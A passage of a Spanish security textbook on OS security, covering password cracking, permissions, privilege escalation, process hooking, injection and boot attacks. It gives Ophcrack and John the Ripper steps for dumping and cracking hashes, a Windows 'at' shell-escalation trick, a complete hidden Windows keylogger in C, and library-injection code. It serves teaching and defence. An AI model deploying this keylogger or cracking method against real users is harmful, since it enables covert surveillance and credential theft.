realmente mucho más rápido. Sin embargo, la longitud, es decir el número de caracteres que forman la contraseña, puede ser mucho más grande y los caracteres mucho más numerosos. La tarea no es entonces tan fácil, ya que el número de posibilidades se vuelve gigantesco rápidamente. Pero, por facilidad, la mayor parte de la gente elige una contraseña que tenga significado en su idioma, y un significado para ellos, como por ejemplo el nombre del cónyuge. Dicho de otro modo, una serie de palabras que pueden extraerse de un diccionario. Las posibilidades están entonces muy limitadas. A este nivel, las recomendaciones son las siguientes: una contraseña debe ser suficientemente larga, como mínimo 6 caracteres, y estar formada por caracteres alfanuméricos, es decir cifras, letras, mayúsculas, minúsculas, y símbolos como #, %, !, ... Una práctica común es la de seleccionar una palabra, por ejemplo, "teclados", y de aplicarle las reglas anteriores: "!T3cL4D0$". Obtenemos entonces una contraseña suficientemente compleja y sin embargo memorizable. 4. Almacenamiento de contraseñas Si el atacante ya tiene acceso a la máquina, podrá intentar recuperar la contraseña almacenada en el sistema. Por lo tanto el ataque no se producirá durante la fase de autentificación. La contraseña puede almacenarse en diferentes sitios y con distintos métodos, en claro, cifrada o aplicándole un hash: directamente en el programa de autentificación, en un archivo o en una base de datos. Una contraseña se almacena en claro cuando se puede leer directamente. Decimos que está cifrada cuando ha experimentado ciertas transformaciones para que se guarde sin ser legible. Las operaciones inversas se efectuarán cuando se esté verificando la contraseña. Finalmente, se dice que a una contraseña se le ha aplicado un hash cuando se le han aplicado operaciones irreversibles para almacenarla. En la comprobación, estas mismas operaciones se aplicarán a la entrada del usuario. El resultado se comparará con lo que hay almacenado. Si son iguales, significa que la contraseña introducida es la correcta. Con el hashing, la seguridad se basa en el hecho de que las transformaciones irreversibles no dan dos resultados idénticos para dos contraseñas distintas. Si se produce tal situación, se dice que hay colisiones. El hashing es el método comúnmente más usado, pero hay otro problema: si se utiliza en dos máquinas la misma contraseña, tendrán como resultado el mismo hashing. Por lo tanto es posible encontrar una contraseña por comparación de hashings. Un procedimiento llamado el salting, que añade una secuencia de bits que no tiene relación directa con la contraseña, permite evitarlo. Sin embargo, en Microsoft Windows, no se utiliza el salting en la gestión de contraseñas. 5. Caso práctico: encontrar las contraseñas de Microsoft Windows El algoritmo utilizado para almacenar las contraseñas de Microsoft Windows es vulnerable. Con una herramienta como Ophrack, que utiliza tablas de contraseñas generadas, llamadas Rainbow Tables, una palabra común se encuentra rápidamente. Las Rainbow Tables están disponibles con Ophrack así como en una versión liveCD de la herramienta. Atención, estas tablas tienen un tamaño considerable. Obtención de la base de datos de contraseñas Conéctese como administrador (o utilice un liveCD) ya que la base de datos está bloqueada para la ejecución en el núcleo de Windows. Ejecute Ophcrack. Haga clic en Load Local SAM: aparece la lista de los usuarios. Haga clic en Tables: se muestra la lista de las Rainbow Tables disponibles. Haga clic en Crack para comenzar el ataque. Las contraseñas se muestran en unos pocos minutos. Cracking de las contraseñas con ophcrack 6. Caso práctico: encontrar las contraseñas de GNU/Linux GNU/Linux utiliza el salting y las contraseñas se almacenan en el archivo /etc/shadow. Entonces hay que probar todas las posibilidades hasta encontrar la contraseña correcta, técnica conocida como "realización de un ataque por fuerza bruta". Utilizamos un diccionario para optimizar nuestras búsquedas, que es simplemente un archivo de texto que contiene una palabra por línea. Hay muchos por Internet y algunos están ya instalados, como el diccionario de lengua española contenido en el archivo /usr/share/dict/spanish. Vamos a utilizar John The Ripper con la cuenta de administrador (root), debido a que, teóricamente, sólo este último puede acceder al archivo de contraseñas por razones evidentes de seguridad. Un ataque puro en fuerza bruta se efectúa con el comando john /etc/shadow. Un ataque híbrido (combinación de diccionario y fuerza bruta), con: john - -wordlist=/usr/share/dict/spanish /etc/shadow. ¡Pruebe estos dos métodos y verá la diferencia significativa de tiempo para encontrar la contraseña! John puede atacar también a contraseñas Windows. Cracking de contraseñas con John The Ripper Es recomendable cambiar regularmente de contraseña. En Windows Para cambiar la contraseña del usuario Juan a !T3cL4D0$, abra un intérprete de comandos e introduzca net user Juan !T3cL4D0$. El sistema le responderá que el comando se ha ejecutado correctamente. En GNU/Linux Para cambiar la contraseña del usuario Juan, abra un terminal e introduzca passwd Juan. Hay que introducir dos veces la contraseña. Si tiene un cierto número de contraseñas que generar, existen generadores que respetan las reglas enunciadas aquí como APG en GNU/Linux. Para generar simplemente 20 contraseñas:  Abra un terminal.  Introduzca el comando apg -n 20. 7. Caso práctico: encontrar las contraseñas de Mac OS X (Snow) Leopard Mac OS X es un sistema basado en BSD, una variante de UNIX. Sin embargo, no almacena las contraseñas del mismo modo: no en un archivo llamado /etc/shadow o /etc/master.passwd. De hecho, Mac Os asocia a cada usuario un archivo shadow. El conjunto de archivos está ubicado en el directorio /var/db/shadow. Los archivos tienen como nombre el identificador único global (GUID) asignado a cada uno de los usuarios y solamente el administrador tiene permisos para leerlos. A las contraseñas se les aplica un hash según el algoritmo SHA-1, junto a un salting de 4 bits. Como con GNU/Linux, tendremos que usar John The Ripper. Se puede obtener una versión binaria directamente desde el sitio web oficial de la herramienta. La primera etapa consiste en obtener los usuarios y su GUID. Para consultar la base de datos de los usuarios de sistema, podemos usar la herramienta en línea de comandos dsl: dscl . readall /users. Los valores están contenidos en los campos Generated UID. A continuación hay que obtener el hash de la contraseña correspondiente al GUID: cat /var/db/shadow/hash/$GUID | cut -c169-216, y ubicarlo en un archivo con el formato $username:$hash. Finalmente, basta con ejecutar John con este archivo de igual modo que lo hemos hecho con GNU/Linux. Cambiar su contraseña en Mac OS X (Snow) Leopard Puede utilizar el comando passwd o ir al menú Manzana - Preferencias del sistema, y a continuación Cuentas. Seleccione su cuenta de la lista Mi cuenta y haga clic en Cambiar contraseña. ¿Hoy no estamos inspirados? Hagamos clic en el botón con la llave y una interfaz nos asistirá en la elección de una contraseña adecuada. Usuarios, grupos y permisos del sistema 1. Gestión de usuarios a. Definición Un usuario es la representación virtual de una persona física, guardada en el ordenador, a la que se le asocia información como su nombre, dirección y contraseña. Para interactuar con el sistema, un usuario físico se autentifica con su usuario virtual: introduce su código de usuario y su contraseña antes de poder realizar ninguna otra acción. Las acciones se realizan entonces bajo esta identidad y se limitan a los permisos que le han sido asignados. b. En GNU/Linux Los usuarios se guardan en el archivo /etc/passwd y su contraseña en el archivo /etc/shadow. Históricamente, sólo existía el archivo passwd que albergaba las contraseñas. Pero siendo un simple archivo de texto, los hash estaban visibles para todos los usuarios, el descifrado de contraseñas era trivial. Por este motivo se creó el archivo shadow. Se trata de una copia de passwd, incluyendo las contraseñas. Sólo root tiene derechos de modificación y lectura en este archivo y es la única cuenta que puede actuar en otras cuentas del sistema. Estos archivos pueden modificarse directamente con un editor de texto. Sin embargo hay herramientas que simplifican la tarea.  Añadir un usuario: useradd.  Modificar un usuario: usermod.  Eliminar un usuario: userdel. Para la sintaxis, realice una consulta al manual de las herramientas: man useradd, man usermod, man userdel desde un terminal. Almacenamiento de cuentas de usuario en GNU/Linux c. En Windows Windows gestiona sus usuarios en un archivo SAM (Security Account Manager). Tradicionalmente, los usuarios se gestionan gráficamente mediante la consola de gestión del sistema accesible a través del comando compmgmt.msc. También se pueden gestionar los usuarios por línea de comandos mediante el comando net user, muy práctico para los scripts. Para más información se puede consultar la documentación de Windows. Gestión de usuarios de Windows Existen usuarios especiales en los sistemas, sin ningún vínculo con alguna persona física. Se trata de usuarios virtuales que permiten acotar el funcionamiento de programas, para limitar sus privilegios y por seguridad. Por ejemplo, no se les proporciona una línea de comandos como sucede con los usuarios físicos. d. En Mac OS X (Snow) Leopard Vamos al menú Manzana - Preferencias del sistema, y a continuación Cuentas. Podrá ser necesario desbloquear el panel haciendo clic en el candado de abajo a la izquierda e introduciendo la contraseña de administrador. Para añadir o quitar un grupo o una cuenta de usuario haga clic respectivamente en los botones + y -. Si desea agregar un usuario, basta con seleccionar en la lista desplegable Nuevo el tipo de cuenta: grupo, administrador o usuario simple. Observamos cómo es posible activar el cifrado del directorio personal evitando de este modo la lectura de sus archivos por parte de otra cuenta de usuario o de otro sistema operativo. Gestión de usuarios/grupos en Snow Leopard Por supuesto, podemos realizar todas estas tareas por línea de comandos con la herramienta DSL de gestión de directorio. Para más información, consulte su página man. 2. Gestión de grupos Un grupo es una entidad que agrupa usuarios a la que se le pueden asignar permisos. En vez de asignar permisos usuario por usuario, los derechos se pueden conceder al grupo, y darles la pertenencia a este grupo a los usuarios pertinentes. Asignar los permisos a cada usuario es pesado y da lugar a errores. En efecto, en el caso en que queramos prohibir el acceso a los usuarios, no nos podemos olvidar a ninguno, si no la seguridad quedaría comprometida. Los grupos sirven para evitar este tipo de errores. a. En GNU/Linux Los grupos se administran en el archivo de texto /etc/group y también con las herramientas de administración disponibles.  groupadd: añadir un grupo.  groupmod: modificar un grupo.  groupdel: eliminar un grupo.  gpasswd: gestionar los usuarios de un grupo. b. En Windows La administración de grupos se realiza del mismo modo que la de los usuarios, mediante la consola de gestión. Los permisos tienen que definirse ya que garantizan la seguridad de cada archivo y de su respectivo contenido. c. En Mac OS X (Snow) Leopard Si estamos usando Mac OS X (Snow) Leopard, vayamos a la sección Gestión de usuarios - En Mac OS X (Snow) Leopard. Estudiaremos la asignación de permisos en nuestros dos sistemas. 3. Asignación de permisos Un permiso es una autorización asignada a un usuario o a un grupo sobre un recurso (archivo, directorio o periférico). Son diferentes en GNU/Linux, Windows y Mac OS X. Por defecto, son más finos en Windows y Mac OS X que en GNU/Linux. En GNU/Linux, son lectura, escritura y ejecución (archivo) / recorrer (carpeta) para un usuario propietario, un grupo y el resto de usuarios. En Windows y Mac OS X, se pueden asignar estos permisos a tantos usuarios y grupos como se desee. a. En GNU/Linux En GNU/Linux, todo es un archivo. Un periférico y una carpeta se manipulan como tales. Un archivo posee un propietario y un grupo de pertenencia. El propietario se asigna mediante el comando chown (change owner). El grupo de pertenencia, con chgrp (change group).  Para cambiar el propietario: chown pedro archivo.txt  Para cambiar el grupo: chgrp desarrolladores archivo.txt Para hacer las dos a la vez: chown pedro:desarrolladores archivo.txt Los otros permisos se ajustan con el comando chmod. Hay que definir los permisos de tres entidades: el propietario (u), el grupo (g) y los otros (o). Los otros corresponde a todos los usuarios que no son ni el propietario ni pertenecen al grupo. Cada entidad puede tener el derecho de lectura r, el de escritura w y el de ejecución/recorrer x. Un derecho se añade con + y se quita con -. Por ejemplo, para dar el derecho de escritura al propietario: chmod u+w archivo.txt Otro ejemplo, para quitar el permiso de ejecución a los otros: chmod o-x archivo.txt Las modificaciones se pueden ver en las columnas 1 (derechos), 3 (usuario) y 4 (grupo) de la salida de un ls -l. Visualización de los permisos de un archivo en GNU/Linux b. En Windows Si no forma parte de un dominio de Windows, hay que desactivar la compartición simple de archivos para poder ver la pestaña Seguridad en las propiedades de los archivos y carpetas. Ejecute el explorador de Windows. Haga clic en Herramientas - Opciones de carpeta - Ver. Deseleccione en la lista, en la última posición, la compartición simple. Los permisos de Windows se basan en ACL (Access Control List), disponibles también en GNU/Linux pero poco utilizadas. Las ACL tienen la ventaja de gestionar los permisos para varios grupos y usuarios sobre el mismo objeto. En la parte superior de la pestaña Seguridad, basta con añadir un grupo o un usuario y después ajustar en la parte inferior sus permisos. Visualización de los permisos de un archivo en Windows c. En Mac OS X (Snow) Leopard Debido a su origen UNIX, en Mac OS X se pueden administrar los derechos como en GNU/Linux. Sin embargo, también están disponibles las ACL. Por línea de comandos, basta con utilizar el comando de sistema chmod (consulte la página man para más información). En modo gráfico, hay que utilizar el finder en la opción Obtener información, accesible mediante el atajo [Manzana] + I. Podrá ser necesario desplegar el panel haciendo clic en el candado situado abajo a la derecha, introduciendo la contraseña de administrador. La agregación y la eliminación de permisos asignados a un usuario o a un grupo se realizan respectivamente con los botones + y -. Para dejar un usuario como propietario de la carpeta o aplicar cambios de manera recursiva por las carpetas, hay que pasar por el submenú accesible mediante el botón . Modificación de los permisos de una carpeta con finder Elevación de privilegios El uso normal de una máquina nunca debería hacerse como administrador, sino usando una cuenta de usuario normal. En efecto, esta alternativa limita los daños cuando tiene éxito un ataque. Este principio también es válido para los servicios (Windows) o los daemons (UNIX), debido a que un servicio de red vulnerable, ejecutándose como root, que haya sido corrompido constituye una catástrofe ya que el atacante obtiene todos los permisos de forma remota. Sin embargo, algunas tareas necesitan privilegios particulares. Por ejemplo, la instalación de un software sólo se puede realizar como administrador. Hay mecanismos que permiten ejecutar directamente un programa con otra identidad, sin tener que desconectarse de su sesión y conectarse con otra. En UNIX Para cambiar la identidad, hay que utilizar el comando su (Switch User), seguido del identificador del usuario. Si es root, no es necesario escribirlo. A continuación se le solicitará la contraseña. Para ejecutar un comando, se puede añadir la opción -c, seguida del comando. En Windows Para ejecutar un proceso con otra identidad, basta con mantener pulsada la tecla [Shift] y hacer clic con el botón derecho del ratón en el ejecutable, seleccionar Ejecutar como e identificarse con el usuario apropiado. La contraseña de administrador no tiene porqué haberse dado necesariamente a todos, pero sus permisos sí son necesarios. El ejemplo más común es para el archivo shadow. Este archivo sólo se puede leer y modificar por el administrador del sistema. Sin embargo, cualquier usuario puede cambiar su propia contraseña, con el comando passwd, sin tener que identificarse como administrador. De hecho, durante un lapso de tiempo muy corto (la escritura de la nueva contraseña en el archivo shadow), es administrador en este contexto restringido: no puede hacer ninguna otra cosa, en teoría. El programa passwd posee en efecto un permiso especial: suid. Podemos constatar ejecutando el comando ls -l /usr/bin/passwd que el permiso x del propietario para la ejecución ha sido reemplazado por una s, por suid. Esto significa que el programa se ejecuta con la identidad del propietario del archivo, en este caso root, sin necesidad de autentificación. Ahora comprendemos por qué sólo root puede cambiar el propietario de un archivo. Sería fácil crear scripts personales ejecutándose con permisos de administrador. Por analogía, existe el sgid para los grupos. 1. Activación del suid y del sgid El suid se activa para un archivo, llamado por ejemplo archivo.txt, mediante el comando chmod u+s archivo.txt, y el sgid con chmod g+s archivo.txt. Los programas suid están por tanto muy supervisados, tanto por los desarrolladores como por los atacantes. En efecto, una vulnerabilidad en este tipo de archivos compromete directamente toda la seguridad del sistema. 2. Cómo encontrar los scripts suid root de un sistema GNU/Linux En una consola, introduzca el comando siguiente: find / -user root -perm -4000 -print Basta con auditar los programas encontrados, buscando un fallo. Es razonable desinstalar programas inútiles con ejecutables suid. En efecto, el sistema corre un peligro adicional innecesario. 3. El Programador de tareas Esta herramienta muy práctica para programar por adelantado tareas únicas o repetitivas puede servir de backdoor en caso de error de programación o de configuración. Algunas tareas necesitan permisos de administrador para ejecutarse correctamente. El Programador de tareas tiene por tanto que asignarlos sin intervención del usuario. Entonces, si un atacante consigue instalar una tarea que tiene derechos de administrador podrá hacer lo que desee en la máquina. Una de las formas es, por ejemplo, editando directamente el archivo de las tareas. En Microsoft Windows 7 o Server 2008 está disponible un exploit de este tipo: http://www.exploit-db.com/exploits/15589/ El Programador de tareas también se puede utilizar para ejecutar virus, caballos de Troya y otros espías. El atacante añade una tarea que se repite, en el inicio de sesión, para la cuenta de usuario que desee explotar. En Microsoft Windows 2000, XP y 2003, es posible en determinadas versiones ejecutar un shell como administrador desde una cuenta de usuario normal. Basta con ejecutar un shell sin privilegios y programar una tarea que ejecute de nuevo en un momento determinado, al siguiente minuto por ejemplo: at 14:00 /interactive "cmd.exe" Para protegernos, podemos simplemente desactivar el Programador de tareas, si no tiene utilidad para nosotros. Lamentablemente, nuestro sistema lo necesitará más que nosotros, especialmente para operaciones de copias de seguridad y escaneos de antivirus. Nuestra vigilancia y el mantenimiento del sistema actualizándolo con frecuencia son nuest Los procesos Un proceso es una tarea que se ejecuta en un procesador. Cada proceso queda identificado por su PID (Process ID) que se representa con un número entero único. El Administrador de tareas permite ver el estado de los distintos procesos que se ejecutan en la máquina y actuar sobre ellos. Tradicionalmente, en Windows, está accesible pulsando [Ctrl][Alt][Supr]. En Mac OS, con el Monitor de actividad; o como en todo sistema UNIX, se puede utilizar el comando ps. Administrador de tareas de Windows Al iniciarse, un proceso se ejecuta con los permisos del usuario actual, pero el proceso puede elevar sus privilegios para realizar una tarea administrativa, o bajar sus privilegios para conservar sólo los que realmente necesita. Esta última operación es común para los daemons en Unix. En efecto, tienen que arrancar como root para leer su configuración y para conceder los recursos necesarios. Pero funcionar como root sería inútil y peligroso para un daemon de red, por ejemplo, por ello el proceso disminuye a continuación sus privilegios. Si se da el caso de que el servicio queda comprometido, el atacante sólo tendrá unos permisos muy limitados, reduciendo de este modo el impacto en el sistema. El Administrador de tareas permite comprobar la cantidad de memoria y el porcentaje de uso del procesador para cada uno de los procesos. Esto ayuda a identificar al responsable en el caso de que se produzca un comportamiento sospechoso de la máquina, como ralentizaciones anormales. El culpable puede entonces finalizarse. En Windows, seleccionando el proceso en la lista y pulsando en el botón Finalizar el proceso. En Unix, utilizamos el comando kill seguido del PID. Si el proceso se niega a detenerse, es posible matarlo añadiendo la opción -9. Entonces se detendrá inmediatamente. 1. Espiar procesos en Windows Microsoft deja a disposición de todos pequeñas herramientas que permiten espiar la actividad de los procesos. Están disponibles en la página: http://technet.microsoft.com/en-us/sysinternals/bb795533.aspx Entre ellas destacamos ProcMon, una utilidad que recoge las funcionalidades de utilidades tan conocidas como FileMon y RegMon. Éstas permitían respectivamente analizar la actividad en los archivos y la actividad en el registro de Windows. Basta con ejecutarlo para descubrir que, incluso sin hacer nada, un ordenador trabaja mínimamente. Con la ayuda de filtros, se puede concentrar en un proceso en particular. ProcMon en acción Las herramientas de este tipo son potentes, ya que permiten diseccionar las operaciones de entrada/salida de los procesos, para buscar acciones sospechosas. 2. El hooking y la inyección de procesos El hooking es una técnica de intercepción de llamadas a funciones, de mensajes o de eventos entre los componentes lógicos. Su nombre tiene origen en el código que se encarga de la intercepción, un hook. El hooking se utiliza mucho en depuración de programas y en ingeniería inversa. También se usa para engañar en los juegos en red o esconder procesos al sistema, gracias a los rootkits. El hooking permite por ejemplo interceptar todas las pulsaciones enviadas por el teclado al sistema operativo o espiar/alterar el tráfico de red. a. Ejemplo de hooking de eventos de teclado en Windows A continuación mostramos el código de un programa que explota la API de Windows para crear un keylogger por software. Basta con copiar este código en un nuevo proyecto de aplicación win32 en Visual Studio o Dev-C++ por ejemplo. /* inclusiones */ #include <Windows.h> #include <stdio.h> /* prototipos */ LRESULT CALLBACK KeyboardHooking(int nCode, WPARAM wParam, LPARAM lParam); void log(char *str); char *maptotxt(int vk,int up); /* variables para gestionar las teclas mayúsculas y el bloqueo de mayúsculas */ int may=0, bloqmay=0; /* descriptor del archivo de log */ FILE *fd; /* programa principal */ int main(int argc, char **argv) { /* escondemos la aplicación */ HWND self=GetConsoleWindow(); ShowWindow(self,SW_HIDE); /* registramos nuestro hook */ HINSTANCE app=GetModuleHandle(NULL); SetWindowsHookEx(WH_KEYBOARD_LL,KeyboardHooking,app,0); /* apertura del archivo de logs */ fd=fopen("log.txt","w"); /* bucle de tratamiento de eventos */ MSG msg; while (GetMessage(&msg,NULL,0,0)>0) { ShowWindow(self,SW_HIDE); TranslateMessage(&msg); DispatchMessage(&msg); } /* flush del buffer y cierre del archivo de log */ fflush(fd); fclose(fd); return 0; } /* función de callback del hook */ LRESULT CALLBACK KeyboardHooking(int nCode, WPARAM wParam, LPARAM lParam) { KBDLLHOOKSTRUCT *kb=(KBDLLHOOKSTRUCT *)lParam; char *str="[X]"; if (wParam==WM_KEYUP) { str=maptotxt(kb->vkCode,1); } else if (wParam==WM_KEYDOWN) { str=maptotxt(kb->vkCode,0); } if (str) log(str); return 0; } /* escritura del carácter */ void log(char *str) { fwrite(str,1,strlen(str),fd); /* flush si final de línea o espacio */ if (strstr(str," ")||strstr(str,"[CR]")) fflush(fd); } /* mapeo de códigos de tecla con caracteres */ char* maptotxt(int vk, int up) { /* gestión de la tecla may */ if (up) { if ((vk==0x10)||(vk==0xa0)||(vk==0xa1)) may=0; return 0; } else if ((vk==0x10)||(vk==0xa0)||(vk==0xa1)) { may=1; return 0; } char *buf=(char*)malloc(16); memset(buf,0,16); /* traducción de las teclas de no caracteres */ if (vk<0x29) { switch (vk) { case 0x08: strcpy(buf,"[BS]"); break; case 0x09: strcpy(buf,"[TAB]"); break; case 0x0d: strcpy(buf,"[CR]"); break; case 0x14: bloqmayˆ=1; break; case 0x20: buf[0]=’ ’; break; case 0x25: strcpy(buf,"[LT]"); break; case 0x26: strcpy(buf,"[UP]"); break; case 0x27: strcpy(buf,"[RT]"); break; case 0x28: strcpy(buf,"[DN]"); break; } return buf; } /* traducción de las teclas de caracteres */ if (vk>0x69&&vk<0x70) { buf[0]=(char)(vk-0x40); } else if (vk>0x6f&&vk<0x88) { sprintf(buf,"[F%d]",vk-0x6f); } else if (isalpha(vk)) { if (!bloqmay) if (may) {buf[0]=(char)(toupper(vk));} else {buf[0]=(char) (tolower(vk));} else if (!may) {buf[0]=(char)(toupper(vk));} else {buf[0]=(char)(tolower(vk));} } else { switch (vk) { case ’1’: if (!may) {buf[0]=(char)vk;} else {buf[0]=’!’;} break; case ’2’: if (!may) {buf[0]=(char)vk;} else {buf[0]=’@’;}break; case ’3’: if (!may) {buf[0]=(char)vk;} else {buf[0]=’#’;} break; case ’4’: if (!may) {buf[0]=(char)vk;} else {buf[0]=’$’;} break; case ’5’: if (!may) {buf[0]=(char)vk;} else {buf[0]=’%’;} break; case ’6’: if (!may) {buf[0]=(char)vk;} else {buf[0]=’ˆ’;} break; case ’7’: if (!may) {buf[0]=(char)vk;} else {buf[0]=’&’;} break; case ’8’: if (!may) {buf[0]=(char)vk;} else {buf[0]=’*’;} break; case ’9’: if (!may) {buf[0]=(char)vk;} else {buf[0]=’(’;} break; case ’0’: if (!may) {buf[0]=(char)vk;} else {buf[0]=’)’;} break; case 0xba: if (!may) {buf[0]=’;’;} else {buf[0]=’:’;} break; case 0xbb: if (!may) {buf[0]=’=’;} else {buf[0]=’+’;} break; case 0xbc: if (!may) {buf[0]=’,’;} else {buf[0]=’<’;} break; case 0xbd: if (!may) {buf[0]=’-’;} else {buf[0]=’_’;} break; case 0xbe: if (!may) {buf[0]=’.’;} else {buf[0]=’>’;} break; case 0xbf: if (!may) {buf[0]=’/’;} else {buf[0]=’?’;} break; case 0xc0: if (!may) {buf[0]=’`’;} else {buf[0]=’~’;} break; case 0xdb: if (!may) {buf[0]=’[’;} else {buf[0]=’{’;} break; case 0xdc: if (!may) {buf[0]=’\\’;} else {buf[0]=’|’;} break; case 0xdd: if (!may) {buf[0]=’]’;} else {buf[0]=’}’;} break; case 0xde: if (!may) {buf[0]=’\’’;} else {buf[0]=’\"’;} break; } } return buf; } Cabe decir que, con la aparición de la UAC (Control de Cuentas de Usuario) en Windows Vista, un proceso no puede espiar o inyectar eventos a otro proceso con permisos superiores. b. Ejemplo de hooking de paquetes de red mediante Netfilter en GNU/Linux A continuación se muestra el código de un módulo, espia.c, que permite registrar en la consola del kernel las direcciones IP de las máquinas que envían un paquete. /* Includes */ #include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> #include <linux/skbuff.h> #include <linux/netfilter.h> #include <linux/netfilter_ipv4.h> #include <linux/ip.h> /* variables para analizar paquetes */ struct sk_buff *sock_buff; struct iphdr *ip_header; static struct nf_hook_ops nfho; /* función que se encarga del tratamiento de cada paquete */ static unsigned int hook_func(unsigned int hooknum, struct sk_buff *skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { sock_buff = skb; /* Se acepta el paquete incluso si no se puede analizar para permanecer discreto */ if (!sock_buff) return NF_ACCEPT; /* Extracción de la cabecera IP */ ip_header = (struct iphdr *)skb_network_header(sock_buff); if (ip_header) { printk(KERN_INFO "Packet received from IP address: %d.%d.%d.%dn", ip_header-saddr & 0x000000FF, (ip_header->saddr & 0x0000FF00) >> 8, (ip_header->saddr & 0x00FF0000) >> 16, (ip_header->saddr & 0xFF000000) >> 24); } /* Paquete aceptado, se ha espiado */ return NF_ACCEPT; } /* función de entrada */ static int __init init_main(void) { nfho.hook = hook_func; nfho.hooknum = 1; nfho.pf = PF_INET; nfho.priority = NF_IP_PRI_FIRST; nf_register_hook(&nfho); printk(KERN_INFO "Intercepción de direcciones activas.\n"); return 0; } /* función de salida */ static void __exit cleanup_main(void) { nf_unregister_hook(&nfho); printk(KERN_INFO "Intercepción de direcciones activas.\n\n"); } /* asignación de las funciones de puntos de entrada y salida */ module_init(init_main); module_exit(cleanup_main); Para compilar el módulo: gcc -c espia.c -Wall -O2 -I/lib/modules/`uname - r`/build/include Para cargar el módulo en el kernel: insmod espia.ko Para descargarlo del kernel: rmmod espia.ko La inyección de código permite insertar código personalizado en un proceso. Esto permite extender las funcionalidades de un programa, pero puede volverse peligroso según la naturaleza de este código. c. Ejemplo de inyección de código en otro proceso en Mac OS X Se puede inyectar código en un aplicación Mac OS X informando la variable DYLD_INSERT_LIBRARIES en la ejecución. El concepto consiste en reescribir en una librería dinámica separada la función objetivo de una librería del programa víctima, detectada previamente habiéndola descompilado con gdb, por ejemplo. Con la variable DYLD_INSERT_LIBRARIES el sistema no ejecutará más la función objetivo, sino la función reescrita. Tomemos la librería del programa víctima check_if_trust.c, con una función objetivo check_if_trust: int check_if_trust() { /* código desconocido, supongamos que devuelve 0 si se cumplen ciertas condiciones */ return 0 ; } Comando de compilación: gcc -dynamiclib -o check_if_trust.dylib check_if_trust.c El programa que la ejecuta, victima.c: #include <stdio.h> int main () { if (check_if_trust() == 0) printf("¡perdido!") ; else printf("¡logrado!") ; return 0 ; } Comando de compilación: gcc -o victima check_if_trust.dylib victima.c Si se ejecuta el programa, es imposible obtener "¡logrado!". Reescribamos ahora nuestra función en un archivo hack.c: int check_if_trust() { return 1 ; } Comando de compilación: gcc -flat_namespace -dynamiclib -o hack.dylib hack.c Inyectamos nuestro código en el programa víctima definiendo las variables: export DYLD_FORCE_FLAT_NAMESPACE= export DYLD_INSERT_LIBRARIES=hack.dynlib Y volviéndolo a ejecutar. Este ejemplo simplista muestra sin embargo la potencia de este mecanismo. Nótese que existe un comportamiento similar en GNU/Linux con LD_PRELOAD. Además, algunas técnicas que van más allá del marco de este libro permiten inyectar directamente código a un proceso en ejecución. El hooking y la inyección de procesos son por lo tanto muy útiles, pero abren fácilmente las puertas a la creación de espías. Hay que echar siempre un ojo a los programas que se ejecutan en nuestro sistema y tener el antivirus/antispyware actualizado. 3. Las condiciones de carrera Un proceso no se ejecuta de forma atómica. Puede ser interrumpido en cualquier momento para que el procesador le dé el tiempo a otro proceso, ofreciendo de este modo concurrencia, que da la ilusión de que todos los programas funcionan a la vez. Las condiciones de carrera, race conditions, son el resultado de un acceso mal controlado al mismo recurso (memoria, archivo o periférico) por varios procesos. En efecto, si un proceso se interrumpe cuando se espera que realice una serie de instrucciones que no se deberían interrumpir, puede llevar a situaciones de incoherencia, de bloqueo o incluso colgar el programa. Si un programa crítico, por ejemplo el de asignación de permisos de administrador a un archivo, realiza algunas comprobaciones (propietario, contenido...) antes de cambiar los permisos, un atacante podría aprovecharse entre ambas etapas para cambiar el contenido del archivo. De este modo, un archivo que no podría haber pasado las comprobaciones se vería beneficiado con permisos de administrador. Estas situaciones son difíciles de provocar debido a que se trata de obtener el vaivén entre la aplicación víctima y la aplicación atacante en el momento adecuado. De este modo, hay que proceder de alguna manera a un brute forcing de la aplicación objetivo. Sin embargo, para prevenir al máximo estas situaciones, el desarrollador deberá seguir algunas buenas prácticas: realizar una tarea con el mínimo de privilegios necesarios, abrir los recursos críticos en modo exclusivo, administrar correctamente la exclusión mutua con los locks, abrir archivos temporales con nombres impredecibles y usar las funciones que actúan contra descriptores de archivo en vez del nombre del archivo. El arranque El arranque es una fase crítica. El sistema operativo es vulnerable para establecer la seguridad. En efecto, nadie garantiza que estos archivos no hayan sido alterados o que un programa perjudicial no se haya ejecutado antes de lo previsto. 1. Abuso de los modos de arranque degradados Un sistema operativo es capaz de arrancar para ser reparado, lo que genera algunos problemas de seguridad. Por ejemplo, en GNU/Linux se puede pasar, mediante el cargador de arranque, a un programa alternativo al init, que es el que se encarga de la inicialización del sistema. Si se usa un shell, se obtiene acceso directo en modo administrador. La técnica para evitar este problema es por lo tanto asegurar el cargador de arranque estableciendo una contraseña. En Mac OS X, se puede arrancar en modo monousuario, que ejecuta entonces un shell de administrador directamente cuando se pulsan las teclas [Manzana] + S en el arranque. Para protegerse, hay que activar la contraseña de protección del firmware de Mac con la herramienta que viene en el DVD de instalación de Mac OS. 2. Los ataques de preboot Los nuevos sistemas operativos toman partido cada vez más de la firma de los archivos para no cargar programas alterados por un tercero. El ataque de preboot consiste en cargar un programa antes de cualquier sistema operativo. Así, poco importan las medidas de seguridad que se planteen, nuestro programa tiene todos los poderes y tiene por tanto la posibilidad de modificar al instante los datos en memoria o el comportamiento de cualquier programa. Por ejemplo, para esquivar una fase de autentificación. Herramientas como Konboot o vbootkit explotan esta importante debilidad en Microsoft Windows. Actualmente GNU/Linux y Mac OS paracen estar indemnes, ya que estos sistemas no presuponen que la fase de preboot es segura. Para protegerse, la mejor solución es cifrar sus datos personales. Existe truecrypt en Microsoft Windows, que se encarga de esta tarea. Se puede descargar e instalar. En GNU/Linux, puede cifrar su carpeta personal desde la instalación en algunas distribuciones como Ubuntu. Por último, en Mac OS X, en el panel de Seguridad de preferencias del sistema, se puede activar FileVault para hacer lo mismo. Hibernación Como sucede con el arranque, la hibernación, aunque es práctica, puede erigirse como un excelente medio para recuperar contraseñas. En efecto, para entrar en este estado, el sistema copia el contenido de la memoria principal en un archivo de disco. Si este archivo no está seguro, hay herramientas que permiten explotarlo en línea. Truecrypt permite cifrar el archivo de hibernación. En Mac OS X se puede activar la seguridad del archivo de hibernación con el comando pmset -a hibernatemode 5. Las RPC Las llamadas a procedimientos remotos o RPC (Remote Procedure Call) permiten ejecutar procedimientos remotos con un servidor de aplicaciones. Además, las aplicaciones que los usan no tienen que preocuparse por la implementación de lo que se transfiere a la red, es el propio sistema el que se encarga de ello. En Windows, sus múltiples fallos han derramado mucha tinta. En agosto de 2003, el 